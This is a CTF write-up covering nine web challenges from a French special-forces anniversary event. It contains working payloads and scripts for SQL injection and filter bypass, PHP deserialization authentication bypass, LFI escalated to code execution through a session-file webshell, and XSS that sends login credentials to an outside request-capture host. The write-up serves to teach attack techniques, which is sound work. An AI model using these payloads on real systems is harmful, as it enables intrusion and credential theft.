
An exceptional CTF!
To celebrate its 30th anniversary, the French Special Operations Command (COS) chose to organize an online event in two parts:
- a virtual Escape Game aimed at the general public that requires no prior technical knowledge
- a CTF with challenges in the web, forensic, crypto, reverse, pwn, stegano and social engineering categories
The Escape Game is bound to please with its Point'n Click game format, its high-quality production (cutscenes, well-crafted puzzles, cyber theme, being part of the COS...) and above all a subtle way of raising awareness of the world of cybersecurity.
If you have not done it yet, go for it without hesitation! Escape Game

As for the CTF, it is a classic format of solving technical challenges worth a certain number of points depending on their difficulty. It clearly stands out, however, through its form and approach!
Indeed, the challenges are extremely well scripted (the plot is closely tied to that of the Escape Game), forcing you to solve some challenges to unlock the next ones and thus move the story forward.
Did I mention that the winners get parachute jumps with the COS? In short, an incredible format that we hope to see more often!

In this article, we will detail how to solve the 9 web challenges of this CTF. Make yourself comfortable, grab a drink and follow the guide!
List of web challenges:
- ▲ Research Paper Blog (Easy / 100 points)
- ▲ SQL Project1 (Easy / 100 points)
- ▲ SQL Project2 (Medium / 200 points)
- ▲ SQL Project3 (Hard / 200 points)
- ▲ Tenue de soirée requise (Medium / 200 points)
- ▲ BadPractice (Hard / 400 points)
- ▲ CCoffe (Hard / 400 points)
- ▲ Onion Kitten Part 1 (Advanced / 300 points)
- ▲ Onion Kitten Part 2 (Advanced / 300 points)
▲ Research paper blog (Easy / 100 points)
Synopsis:
We have found the identity of the author of the article. Unfortunately we are unable to locate her.
However, we have discovered that she travels a lot to attend various conferences and she is most likely on her way to one of them.
On her website, it is very likely that we can access some non-public information that would tell us her next destination.
Link:
https://paperblog.challenge.operation-kernel.fr
This first web challenge appears after solving a forensic challenge that consisted of finding the author's first and last name thanks to the PDF metadata.
The goal of this first web challenge is simple: find a piece of information that is not visible at first glance on Lise MITENER's blog.

When you click on an article, it is actually a PDF that is displayed at the address /paper/<numeric identifier>.

The fact that we are facing an easily enumerable numeric identifier immediately makes us think of an IDOR (Insecure Direct Object References). If no access control is in place, it is trivial to increment the papers identifier until we reach an article that has not yet been published on the blog.
And that is exactly what happens when we access paper 14: https://paperblog.challenge.operation-kernel.fr/paper/14.

Flag:
HACK{Excelsior_Polonium_5E45F6a}
▲ SQL Project1 (Easy / 100 points)
The author of an IT security blog claims that his site is among the most secure of all and therefore impenetrable. It costs nothing to check such a claim...
You must try to log into the site's admin account by bypassing the security.
Link:
https://secureblog.challenge.operation-kernel.fr/v1/
This challenge is part of a series of three challenges around SQL injections. When we open the challenge, we land on the "Awesome Ultra Secure Blog v1" where everything is under construction (read: empty) except the authentication page.

We are tempted to think we are facing the classic case of ' OR 1=1 -- - used to bypass authentication, found in every SQLi cheatsheet. And we are! Except that...

We are authenticated as the demo account. But we would rather be logged in as the admin account. If we had to guess what the SQL query used for authentication on the application looks like, it would be something like this:
SELECT login FROM users WHERE login = '$_POST["username"]' AND password = '$_POST["password"]'
When we use the payload ' OR 1=1-- -, this amounts to:
SELECT login FROM users WHERE login = '' OR 1=1 -- -' AND password = '$_POST["password"]'
This query will return all the rows of the users table since the condition login = '' OR 1=1 will always be true. And we comment out the rest of the SQL query with -- - so that it is ignored. Once the application has retrieved these results, it selects the first login... here, the demo account.
The challenge description asks us to log in as an admin, so we can try the payload admin' -- - ...

Flag:
HACK{B3-C4r3Ful_W1th_AUthentiC4tION}
To go a little further, many payloads can solve this challenge, here are a few:
' OR 1=1 LIMIT 1,1# selects the next result by playing with the offset of the LIMIT clause
' OR id = 2#
' OR username LIKE '%admin%' -- x
Bonus question 1: Why is it necessary to add a space when using the -- comment in SQL injections?
Answer
RTFM! https://dev.mysql.com/doc/refman/5.7/en/comments.html
In MySQL, the -- (double-dash) comment style requires the second dash to be followed by at least one whitespace...
Bonus question 2: what payload retrieves the flag without using a comment?
Answer
With the following payload: admin' OR '1'='1
▲ SQL Project2 (Medium / 200 points)
Following a security incident, it is currently no longer possible to log in. We apologize for the inconvenience.
Link:
https://secureblog.challenge.operation-kernel.fr/v2/
On this second version of the blog, the login page is disabled but articles are now available!

When reading the article "Les démons de Wifi" (what a musical reference <3), we notice the URL contains a numeric parameter: /v2/post.php?id=3. We immediately try a classic injection on the id parameter with the payload OR 1=1 -- -.

Well, it seems our injection is detected... We could try to find out by hand which characters or keywords are forbidden by the application (or a WAF), but we might as well write a Python script to do it for us very quickly:
import requests
to_test = [ "SELECT", "FROM", "AND", "OR", "WHERE", "LIKE", "ALL", "UNION", "ORDER", "BY", "ASC", "DESC"]
to_test += [chr(i) for i in range(128)]
forbidden = []
url = "https://secureblog.challenge.operation-kernel.fr/v2/post.php"
for keyword in to_test:
params = { "id": keyword }
r = requests.get(url, params=params)
if ("has been detected" in r.text):
forbidden.append(ascii(keyword))
print("Forbidden : " + ' '.join(forbidden))
$> python3 sqli_illegal_str.py
Forbidden : '\t' '\n' '\x0b' '\x0c' '\r' ' ' '"' '#' "'" '-'
We notice that spaces and quotes are forbidden... as well as the - and # characters used to comment out the rest of an SQL query.
Using our favorite search engine, we look for a cheatsheet of techniques to bypass SQL filtering. I used the HackTricks one.
One way around it is to use other comment characters to replace spaces: /*COMMENT*/. The id parameter of the request is numeric, so it is a safe bet that the original SQL query looks like this:
SELECT * FROM articles WHERE id = 3
We would therefore not need quotes to break out of the id parameter. Let's run two tests:
https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=3/**/AND/**/1=1/**/=> the article is displayed correctly
https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=3/**/AND/**/1=0/**/=> 404 error
Our injection is not detected and it works! We could write a script to automate all this since we are facing a blind (boolean-based) SQL injection... But I am lazy and sqlmap does it very well, especially since it ships with handy options for our case. Let's run it!
$> sqlmap -u 'https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=1' --random-agent --technique=B --tamper=space2comment --threads=4 --ignore-code 401 -T user --dump
Database: challv2
Table: user
[4 entries]
+----+------------------------------------------+----------+
| id | password | username |
+----+------------------------------------------+----------+
| 1 | demo | demo |
| 2 | St0nnngP444Sw000Rdddd:D!!!! | test |
| 3 | HACK{S3cuRE_Y0uR_1nPUt} | admin |
| 4 | Vm91cyB5IGV0ZXMgcHJlc3F1ZSBjb3VyYWdlICEK | Dramelac |
+----+------------------------------------------+----------+
Explanation of the options used:
--random-agent: avoids sending the sqlmap User-Agent, which is blocked by WAFs, by using a random valid User-Agent--technique=B: tells sqlmap to use the Boolean-Based technique for the injections--tamper=space2comment: uses the technique of replacing spaces with comments--threads=4: uses 4 simultaneous connections to speed up the injections--ignore-code 401: do not stop sqlmap when a response has the HTTP 401 code-T user: select the user table--dump: dump the data
And ta-da, we have retrieved the flag, which was the administrator's password.
Flag:
HACK{B3-C4r3Ful_W1th_AUthentiC4tION}
▲ SQL Project3 (Hard / 400 points)
Link:
https://secureblog.challenge.operation-kernel.fr/v3/
As in SQL Project2, we have a blog with articles, and stricter filtering has been applied to the id parameter here.
$> curl 'https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=1/**/AND/**/1=1/**/'
ATTACK DETECTED
We slightly modify the script we developed in SQL Project2 to list the forbidden characters and keywords:
$> python3 sql_illegal_str.py
Forbidden : 'SELECT' 'FROM' 'WHERE' 'LIKE' 'UNION' 'ORDER' '\t' '\n' '\x0b' '\x0c' '\r' ' ' '"' '#' "'" '*' '-' '/' '=' '\\'
Oh yes, it's getting tougher!
- Spaces are forbidden, and bye bye to the bypass technique using
/**/comments to replace them. - We cannot use the
=comparison operator. - Some important SQL keywords such as
SELECTandWHEREare forbidden. Even by playing with case, for exampleSeLEct, we cannot bypass this filtering with that technique.
So what can we do? We dig out our good old cheatsheet on filter bypasses.
The first restriction, the one on spaces, can be bypassed by wrapping the values in parentheses, like this:
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(true)=> article 1 is displayed
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(false)=> 404, page not found
We have a first working injection!
The restriction on the = comparison operator can be bypassed by combining the not-equal operator <> with the NOT operator. The following SQL queries are equivalent:
SELECT * FROM article WHERE id = 1 AND 1=1
SELECT * FROM article WHERE id = 1 AND NOT(1<>1)
We immediately test it on the blog:
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(NOT(1<>1))=> article 1 returned
That leaves the restriction on the SELECT, UNION, FROM and WHERE keywords, which we generally use to retrieve data from other tables. Luckily, in the case of the SQL query used to fetch the information of a blog article, this is not necessary... *a little suspense*
We saw in the previous SQL challenges that the flag was stored in the password column of the admin account. We can try to see whether this column is accessible in the context of the SQL query made by the blog.
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(nom_colonne<>42)
If the nom_colonne column does not exist or is inaccessible, the SQL query will fail and the site will therefore return a 404 page. Otherwise, the article with id=1 will be displayed. And in the example above, the blog does indeed return a 404 page...

Let's now try with password as the column name:
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(password<>42)=> article 1 is displayed!
This means the password column is accessible and that we can potentially run injections to retrieve its content. But why is the password column of the user table available in the article table?

Probably thanks to the use of a join. Indeed, when we look at an article, we see several pieces of information displayed, including the author's username. The developer could very well have stored the author's name directly in the article table, but that is not very practical... If the username had to change, the whole article table would have to be updated.
Using a join between the article and user tables solves this problem. We assume the query looks roughly like this:
SELECT *
FROM article
JOIN user ON article.user_id = user.id
WHERE article.id = 1
We can even check it by using user.password in our query (spoiler alert: it works):
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(1)AND(user.password<>42)
We have more or less everything we need to carry out our injections... It remains to be seen whether the flag really is in the password column. To find out, we can check whether the first 5 characters of the password column are equal to the string HACK{:
- using the
SUBSTRINGfunction, which extracts a substring - since quotes are forbidden, we can use the hexadecimal representation of a string:
0x4841434B7B(equivalent to the string "HACK{")
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(0)OR(NOT(SUBSTRING(password,1,5)<>0x4841434B7B))

An article is returned, which means several things:
- there is indeed a password that starts with
HACK{ - the article "How I met your locker" (can we talk about these incredible puns?!) written by the
adminaccount is displayed, so it is its password that starts withHACK{
All that is left is to script our injection by retrieving the content of the password column character by character.
One last thing before getting started: when comparing strings with MySQL, the result can be misleading depending on the collation used when the database was created. For example, if the database encoding is utf8_general_ci, the ci (case insensitive) collation means comparisons are not case sensitive, so the comparison "hello" = "HELLO will always be true.
That is why we use the ASCII function, which lets us compare the ASCII decimal value of each character and thus recover the exact case of the flag:
PHP script (why not? sorry not sorry to the *triggered* folks) to automate the SQL injection:
<?php
$flag = "HACK{";
$chars = range('!', '~');
while(true) {
shuffle($chars);
$index = strlen($flag)+1;
foreach ($chars as $c) {
$ascii = ord($c);
$url = "https://secureblog.challenge.operation-kernel.fr";
$url .= "/v3/post.php?id=(2)AND(NOT(ASCII(SUBSTRING(password,$index,1))<>$ascii))";
echo "Searching : $flag$c\r";
if (strpos(@file_get_contents($url), 'How I met your locker') !== false) {
$flag .= $c;
break;
}
}
if ($flag[-1] === '}')
die("Done ! Flag : $flag\n");
}
Flag:
HACK{GG_SQLi-M1Ght_B3_Hidden!}

Bonus question: Why use shuffle() on the array of characters to test?
Answer
The letters of the flag are not necessarily at the beginning of the alphabet. There is therefore no point in testing them in the order A, B, C... Testing the characters in a random order lets us bet on the luck of randomness to save time. Here, the benefit is fairly limited because the flag is not very long, but it can be useful in situations where the string to discover is longer.
Off-Topic Bonus
A big shout-out to the people who took the time to create this blog with so much humour. Here are some of the incredible puns and references that could be read in the article titles (in French):
- How I met your locker
- Les démons de Wifi
- Maladie informatiquement transmissible
- Faut pas pousser mémé dans l’azerty
- Le casse du siècle
- Indata Jones et la sauvegarde perdue
- Le formulaire d’authentification contre-attaque
- Donner ses données les reprendre c’est RGPD
- Le bon, la brute et le sous-traitant
▲ Tenue de soirée requise (Medium / 200 points)
In the Excel file, an important target is associated with a link to a lottery. This lottery gives the winner access to a VIP party. We assume the target will attend this event.
We must win this lottery in order to make contact with her.
If we manage to retrieve the lottery's generation algorithm, we can win for sure.
Link:
https://subscription.challenge.operation-kernel.fr/public
This challenge is part of the main storyline, in which you have to sneak into a party. To get an entry ticket, you have to play a lottery. After a few attempts, it is clear that the odds of winning are far too slim to leave things to chance.

The challenge suggests we retrieve the lottery algorithm, and for that it is a safe bet that we need to retrieve the source code.
By going to https://subscription.challenge.operation-kernel.fr/.git/config, the following information appears:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
This means the versioning folder was left on the site. It will let us retrieve the application's source code with a tool such as GitHack:
$> python3 GitHack.py https://subscription.challenge.operation-kernel.fr/.git/
...
[OK] app/Http/Middleware/EncryptCookies.php
[OK] app/Http/Controllers/Auth/RegisterController.php
[OK] app/Http/Middleware/CheckForMaintenanceMode.php
[OK] app/Http/Controllers/GameController.php
[OK] app/Http/Controllers/Auth/VerificationController.php
[OK] app/Http/Middleware/VerifyCsrfToken.php
[OK] app/Http/Middleware/TrimStrings.php
[OK] app/Http/Middleware/RedirectIfAuthenticated.php
[OK] app/Process/GameProcess.php
[OK] app/Http/Middleware/TrustProxies.php
[OK] app/Http/Requests/GameRequest.php
...
Analyzing the source code, we understand that we are dealing with an application written with the Laravel framework. We go straight to the lottery part of the site.
File app/Http/Controllers/GameController.php:
// ...
class GameController extends Controller
{
public function postForm(GameRequest $request, GameProcess $gameprocess, TicketProcess $ticket){
$t = $gameprocess->play($_POST['name'], $_POST['number']);
$data = $t ? $ticket->generate($_POST['name']) : false ;
return view("result")->with('res', $t)->with('data',$data);
}
}
The GameController class is the controller that checks the data sent for the lottery. The lottery result is returned by the call to the $gameprocess->play() method, located in the file app/Process/GameProcess.php.
<?php
namespace App\Process; class GameProcess { private function nmqrF($AvWAj) { goto NMXgZ; kv5ou: p1w0G: goto V_tm7; t4VRF: $tqGDw .= chr(hexdec($AvWAj[$VP0PR] . $AvWAj[$VP0PR + 1])); goto Fdr8h; GMqtF: $VP0PR += 2; goto VhseN; NMXgZ: $tqGDw = ''; goto X18sW; Fdr8h: GT1Ly: goto GMqtF; DZx0E: N4u_P: goto IzKaq; VhseN: goto p1w0G; goto DZx0E; IzKaq: return $tqGDw; goto RySOT; X18sW: $VP0PR = 0; goto kv5ou; V_tm7: if (!($VP0PR < strlen($AvWAj) - 1)) { goto N4u_P; } goto t4VRF; RySOT: } private function wCIA1($WepPf) { goto nf131; nf131: $SXEXN = ''; goto nr2M7; BsNwA: return $SXEXN; goto QOXZt; nr2M7: foreach (str_split($WepPf) as $COwbt) { $SXEXN .= ord($COwbt); WOo5D: } goto tRNjZ; tRNjZ: LQt0G: goto BsNwA; QOXZt: } private function kQzio($FwST2) { goto HUqWd; HUqWd: eval($this->nmqrF("6576616C286261736536345F6465636F646528274A485A50524870454944306764476C745A5367704943306764476C745A536770494355674E54733D2729293B")); goto ANV5w; f4E_x: return $G11Pq; goto ykALq; Yj9IR: $G11Pq = $G11Pq ^ $FwST2; goto f4E_x; ANV5w: $FwST2 = $FwST2 ^ $vODzD; goto KrQAb; hoFT1: $G11Pq = mt_rand(); goto Yj9IR; KrQAb: mt_srand($FwST2); goto hoFT1; ykALq: } public function play($su92R, $nmBvo) { goto u1lv6; xC0KB: return false; goto TeXZe; XU62G: return true; goto HquGL; HquGL: GxqFf: goto xC0KB; e4Wxp: $kx4Dd = $this->kQzio($FwST2); goto JYFjT; u1lv6: $FwST2 = $this->wCIA1($su92R); goto e4Wxp; JYFjT: if (!(intval($kx4Dd) === intval($nmBvo))) { goto GxqFf; } goto XU62G; TeXZe: } }

Whoa! It seems this file is obfuscated with incomprehensible variable names and goto statements all over the place... It is possible to untangle all this code by hand, but we might as well use a tool that does it for us: PHPDeobfuscator.
$> php index.php -f GameProcess.php > GameProcess_readable.php
The source code analysis can begin:
<?php
namespace App\Process;
class GameProcess
{
private function nmqrF($AvWAj)
{
$tqGDw = '';
$VP0PR = 0;
p1w0G:
if (!($VP0PR < strlen($AvWAj) - 1)) {
return $tqGDw;
}
$tqGDw .= chr(hexdec($AvWAj[$VP0PR] . $AvWAj[$VP0PR + 1]));
$VP0PR += 2;
goto p1w0G;
}
private function wCIA1($WepPf)
{
$SXEXN = '';
foreach (str_split($WepPf) as $COwbt) {
$SXEXN .= ord($COwbt);
}
return $SXEXN;
}
private function kQzio($FwST2)
{
eval($this->nmqrF("6576616C286261736536345F6465636F646528274A485A50524870454944306764476C745A5367704943306764476C745A536770494355674E54733D2729293B"));
$FwST2 ^= $vODzD;
mt_srand($FwST2);
$G11Pq = mt_rand();
$G11Pq ^= $FwST2;
return $G11Pq;
}
public function play($su92R, $nmBvo)
{
$FwST2 = $this->wCIA1($su92R);
$kx4Dd = $this->kQzio($FwST2);
if (!(intval($kx4Dd) === intval($nmBvo))) {
return false;
}
return true;
}
}
This file is still not clear enough for my taste, so we will rework it further by removing useless code, simplifying it as much as possible and giving more meaningful names to the methods and variables:
<?php
class GameProcess
{
private function stringToAsciiCode($str)
{
$res = '';
foreach (str_split($str) as $char) {
$res .= ord($char);
}
return $res;
}
private function genFakeRand($value)
{
eval('$time = time() - time() % 5;');
$value ^= $time;
mt_srand($value);
$rand = mt_rand();
$rand ^= $value;
return $rand;
}
public function play($name, $number)
{
$name_ascii = $this->stringToAsciiCode($name);
$rand_val = $this->genFakeRand($name_ascii);
if (!(intval($rand_val) === intval($number))) {
return false;
}
return true;
}
}
That's much better! From this we deduce the lottery algorithm, which is as follows:
- the name sent via
$_POST['name']is converted into ASCII codes and stored in the$name_asciivariable (for example 'ABC' becomes '656667') $name_asciiis used in thegenFakeRand()method to seed the random number generator.$name_asciiis combined with the$timevalue, which corresponds to a timestamp that changes every 5 seconds ($time = time() - time() % 5;)- if the
$rand_valvalue returned by thegenFakeRand()method is equal to the$numbervalue sent by the user via$_POST['number'], then we have won the lottery.
We create a getRand() method similar to the play() method but which only returns the $rand_val value. This will let us copy the value returned by our script and become an ALT+TAB pro by pasting this value into the form in under 5 seconds.
<?php
class GameProcess
{
private function stringToAsciiCode($str)
{
$res = '';
foreach (str_split($str) as $char) {
$res .= ord($char);
}
return $res;
}
private function genFakeRand($value)
{
eval('$time = time() - time() % 5;');
$value ^= $time;
mt_srand($value);
$rand = mt_rand();
$rand ^= $value;
return $rand;
}
public function getRand($name)
{
$name_ascii = $this->stringToAsciiCode($name);
$rand_val = $this->genFakeRand($name_ascii);
return $rand_val;
}
}
$game_process = new GameProcess();
$rand_val = 0;
while (true) {
$new_rand = $game_process->getRand('Maaaaaaaaaarc');
if ($new_rand !== $rand_val) {
$rand_val = $new_rand;
echo "$rand_val\n";
}
}
After a few attempts, we end up winning the lottery and retrieve the QR code containing the flag.
A demonstration of my keyboard/mouse skills after years of experience on CS 1.6:

Flag:
HACK{Y0uC4nNowG0toE4t}_Maaaaaaaaaarc
▲ BadPractice (Hard / 400 points)
Even hackers need project management! This website seems to track the overall progress of their mission. It's up to you to find as much information as possible.
You must log into this site with a privileged account.
Link:
https://practice.challenge.operation-kernel.fr/

We are facing an application that lets you create a temporary account on a dashboard-type application for the duration of a demo. In the account creation form, there is a "remember me" option to stay logged into the application indefinitely, even if the session expires:

We notice that ticking this box generates the following cookies:
Set-Cookie: PHPSESSID=pm9sonh3vubbqlflcd2lm2ldlp; path=/; secure
Set-Cookie: remember=YTozOntzOjg6InVzZXJuYW1lIjtzOjU6InBvdWV0IjtzOjg6InBhc3N3b3JkIjtzOjY0OiI4MTk5MzY0NjRiYzI0NmNiOWY1MzNkZDUxMGQ3MjlmZjA3ZjhiODU4OTBjNTI5ZWYyNmI0ZDY3MzMyMjIzNzA0IjtzOjQ6InJvbGUiO3M6NDoiRGVtbyI7fQ%3D%3D
We immediately notice that the HttpOnly flags are missing from the cookies, which is completely unacceptable! *Spoiler: this will be of no use for this challenge...*
Above all, my sharp hacker's eye lets me notice, without even using the magic recipe of CyberChef, that the remember cookie seems to be base64-encoded. We quickly decode it to see if its content is interesting:
$> echo -n "YTozOntzOjg6InVzZXJuYW1l<...>6InJvbGUiO3M6NDoiRGVtbyI7fQ==" | base64 -d
a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}
This format... this syntax... could it be... Yes yes yes, a serialized PHP object! And no need to stop reading because you saw the word PHP; PHP > all.
As in quite a few programming languages, it is possible to export a variable into a fairly simple storable format in order to import it later. In PHP, this is done with the serialize() and unserialize() functions. What does the string contain once deserialized?
$> php -a
Interactive mode enabled
php > $remember = unserialize('a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}');
php > var_dump($remember);
array(3) {
["username"]=>
string(5) "pouet"
["password"]=>
string(64) "819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704"
["role"]=>
string(4) "Demo"
}
Deserialization returned an array with three keys:
username: the account name used to log into the applicationpassword: the password hashed with SHA-256. Note: a nice HackTheBox is offered to the first person who contacts us on Twitter with the cleartext passwordrole: the user's profile level
When facing deserialization vulnerabilities, some leads come to mind, such as code execution, data tampering (like setting the role to admin), etc... But that does not seem to be the goal of this challenge.
By fuzzing the variables a little, we can for example try changing the type of password, serialize our variable, base64-encode it, reinject it into the remember cookie and watch the world explode what happens:
$> php -a
Interactive mode enabled
php > $remember = unserialize('a:3:{s:8:"username";s:5:"pouet";s:8:"password";s:64:"819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704";s:4:"role";s:4:"Demo";}');
php > // lots of tests on the types
php > // ...
php >
php > // password is now a boolean
php > $remember["password"] = true;
php > echo serialize($remember);
a:3:{s:8:"username";s:5:"pouet";s:8:"password";b:1;s:4:"role";s:4:"Demo";}
php >
php > // password is now an array
php > $remember["password"] = [];
php > echo serialize($remember);
a:3:{s:8:"username";s:5:"pouet";s:8:"password";a:0:{}s:4:"role";s:4:"Demo";}
When password is serialized as the boolean true, the application does not accept our remember cookie and we are redirected to an error page:

But when password is an array, we successfully authenticate to our account!

Why did this type change allow the authentication bypass? To understand it, we need to try to imagine the application's code:
<?php
$remember = unserialize(base64_decode($_COOKIE["remember"]));
$user_info = getUser($remember["username"]); // we retrieve our account information from a database, LDAP, whatever...
if (strcmp($user_info["password"], $remember["password"]) == 0) {
// identical passwords
}
else {
// incorrect password
}
In this assumed authentication code of the application, the password sent via our serialized object is compared with the user's real password using the strcmp() function. This function returns 0 if the two strings are identical. But what does it return when the two parameters are of different types?
$> php -a
Interactive mode enabled
php > var_dump(strcmp("819936464bc246cb9f533dd510d729ff07f8b85890c529ef26b4d67332223704", []));
PHP Warning: strcmp() expects parameter 2 to be string, array given in php shell code on line 1
NULL
We get a warning telling us that the second parameter, the one we sent via our serialized object, is an array instead of a string. And the strcmp() function then returns NULL.
And if NULL == 0 ... welcome to the wonderful world of "loose comparison"!
$> php -a
Interactive mode enabled
php > var_dump(NULL == 0);
bool(true)
The == operator in PHP is not very strict; in fact it is very lenient. This is very well illustrated in the official documentation ("Loose comparisons with ==") with this table summarizing comparisons between types:

This table explains that if we use the == operator to compare NULL with the boolean false, the integer 0, an empty string or an array, the result will always be true!
At this point we think it's in the bag, we'll flag the challenge within 30 seconds now since all we have to do is log in as the admin user by updating our serialized object.
We are indeed logged into the application! But it is a temporary account... Anyone could create an admin account (well done, trolls!). In fact, we had to find the username of the real administrator, which was on the contact page.

This time, it should work! We have the username Aku, let's politely log in.

Still not! We get the error "Incorrect username or password" even though we are sure our authentication bypass method works.
Life is cruel but there is always a solution. Remember our serialized object? The array had three entries: username, password and role. We have not tinkered with role yet. The first reflex would be to try the values Admin, Administrator or even LaisseMoiFlagStp, but without success. Let's go back to the application's "assumed" code and imagine the part related to the user's role:
<?php
$remember = unserialize(base64_decode($_COOKIE["remember"]));
$user_info = getUser($remember["username"]); // we retrieve our account information from a database, LDAP, whatever...
if (strcmp($user_info["password"], $remember["password"]) == 0) {
// identical passwords
if ($user_info["role"] == $remember["role"]) {
// the received role has the same name as the one assigned to the account
}
else {
// incorrect role
}
}
else {
// incorrect password
}
It would be enough for the Aku user's role to have a particular value (Chocolatineur for example) and it would be very hard to guess. What if we were dealing with a "loose comparison" again? That would mean that in the case of role, we would need to compare a string with the boolean true for the result to be true.
We regenerate the payload from scratch:
$> php -a
Interactive mode enabled
php > $remember = [];
php > $remember["username"] = "Aku"; // admin login
php > $remember["password"] = []; // strcmp("password_hash", []) == 0
php > $remember["role"] = true; // "secret_role" == true
php >
php > echo serialize($remember);
a:3:{s:8:"username";s:3:"Aku";s:8:"password";a:0:{}s:4:"role";b:1;}
We test one last time by refreshing the page:

Flag:
HACK{N3v3r_TrUsT_C0d3Ur_1nPuT}
▲ CCoffee (Hard / 400 points)
You managed to analyze the cryptolocker, which points us to a site that seems to be a command and control server.
Unfortunately we cannot find any trace of the uploaded files. The upload feature must have been disabled, but the files are surely still present on the server.
There must be a way to find them by exploiting the site's features.
Link:
https://ccoffee.challenge.operation-kernel.fr/c2
CCoffee is only accessible after solving the Cryptolocker challenge in the reverse category. That is also where we retrieve the credentials bot / W0rk_1n_PR0GRs5, an essential prerequisite for solving CCoffee.
When we arrive at https://ccoffee.challenge.operation-kernel.fr/c2, we log into the C&C part with the credentials found previously.

There is not much to do in this part apart from the ability to change your username.

So far, we were in the C&C part, in the /c2 folder. But what is at the root of the site?

The showcase website of a Parisian café! We might think it is a legitimate website that was hacked and used to host the C&C part of the cryptolocker. While digging through the showcase site, we notice two interesting things:
- we have two cookies:
PHPSESSID(standard, session generated by PHP) andstyle(contains the name of the theme used on the site).PHPSESSID=sg5igg4chn1ljkhqf6v08c4gg0 style=business-casual - the PHP version in use (dating from 2010) is very old and disclosed by the server header
X-Powered-By: PHP/5.2.17

When changing the value of the style cookie, the size of the web server's response is significantly different. If the cookie is business-casual, the returned content is 9012 bytes. However, when it is chocolatine (a theme that does not exist), we only get 4486 bytes!


The difference between the responses to these two requests lies in the <style>...</style> tag, which contains the CSS of the theme defined in the style cookie. In addition, the following commented-out HTML code helps us understand how the theme is loaded:
<link href="css/business-casual_dark.min.css" rel="stylesheet">
We can assume that to load the style, the application takes the value of the style cookie and retrieves the content of the file css/<valeur_style>.css. We can confirm it immediately by setting the cookie to the following value: style=business-casual.min.
The result: a minified version of the business-casual style! This smells like LFI!
Small problem: the .css extension is appended to the end of the file to include, which quickly limits us... Except that the obsolete PHP version here lets us use the null byte %00 to truncate the string! By using ../../etc/passwd%00 for example, we can now load the file while ignoring the extension imposed by the application.

OK, we can read any file we want on the web server, but couldn't we turn the LFI into code execution (RCE)?
Absolutely, by using the PHP session file technique documented here.
Let's try to include our session file and see what it contains:
style=../../var/lib/php5/sess_sg5igg4chn1ljkhqf6v08c4gg0%00

In our session file, we find the username we changed at the very beginning of the challenge! If we inject PHP code into our username, we should be able to execute arbitrary code.


By injecting our mini webshell into the username, then including the session file and sending the GET parameter /?0=ls -l, we can execute system commands on the server!
All that is left is to find the flag with the command grep 'HACK{' -R .:

Flag:
HACK{(NerverTrust)UserInput+LFI=RCE}
▲ Onion Kitten Part 1 (Advanced / 300 points)
We found a rather suspicious forum in the emails discovered earlier. Find a way to log in and retrieve a user's credentials to find out what is going on.
A chat is available, it is potentially vulnerable.
There is no point in hijacking the user's session, we need their password!
Link:
https://ia.challenge.operation-kernel.fr/
We land on a web application dealing with topics around artificial intelligence.
There are 3 main elements on the site: a chat, discussion pages (inaccessible without authentication) and a login form.

According to the challenge synopsis, the goal would be to retrieve the credentials of another user of the site... This looks a lot like credential theft via XSS! In the chat, we see that the data sent is not filtered and allows HTML code to be injected, including JavaScript.
<script>alert("This is an XSS")</script>
The following message will display a JavaScript popup to anyone who reads the chat.
We will use the site https://requestbin.com/ to exfiltrate data thanks to our XSS. This will let us check that our XSS is executed by other users. First, the following code will simply try to load an image from our temporary domain:
<img src="https://<censored>.x.pipedream.net/hellothere">
A few seconds later, we do receive a request. We can also see in the Referrer header that it is probably a local bot, since it uses the URL http://web1/.

Now how do we manage to steal credentials? By using the login form!
We will craft an XSS that changes the target of the authentication form. To do so, we will ask the browser to load the image x (which does not exist) and, if it is not found, to execute the JavaScript code in the onerror event, which will update the form to send the credentials to our domain:
<img src=x onerror="document.getElementById('loginForm').action = 'https://<censored>.x.pipedream.net/stealcreds'">
Testing locally, we can indeed see the change in my browser's DOM with this payload:

All that is left is to hope that a user logs into the website after viewing the chat... And that is what happens shortly afterwards!

Flag:
HACK{X5S_4_3V3r!!}
▲ Onion Kitten Part 2 (Advanced / 300 points)
The site connects a whole group of criminals, it could be interesting to have an administrator account on the forum in order to obtain more information.
Apparently the admin realized that users were impersonating his bot to obtain more permissions! He decided to disable JavaScript execution by the bot.
Link:
https://ia.challenge.operation-kernel.fr
Now that we can log into the site https://ia.challenge.operation-kernel.fr/, we have access to the various discussions.
In fact, in the discussion De la science-fiction pour piquer notre pognon, the administrator shares a link to another site: https://deathtoia.challenge.operation-kernel.fr/.

On this new site, we can submit an article that could be published later after review.

After a few tests, we notice that the form does not filter user input and is also vulnerable to XSS. By putting the following payload in the titre field, we can retrieve the bot's URL at the moment it gets caught by our XSS:
<img src="x" onerror="this.onerror=null;this.src='https://<censored>.x.pipedream.net/'+document.location.href;">
We immediately receive the result on our temporary requestsbin.com domain.

The URI /articles?botpwd=3v6y5FVediVKpyaL9mKnZkVWCeEw&uid=62cc111d1c87f&isLogged=true seems to contain the credentials that allow the bot to log into the site.
Can we reuse this information directly in our browser?

We now have access to the site's administration area! When we click on this link, it seems that only the second half of the flag is accessible. Where could the first half be?
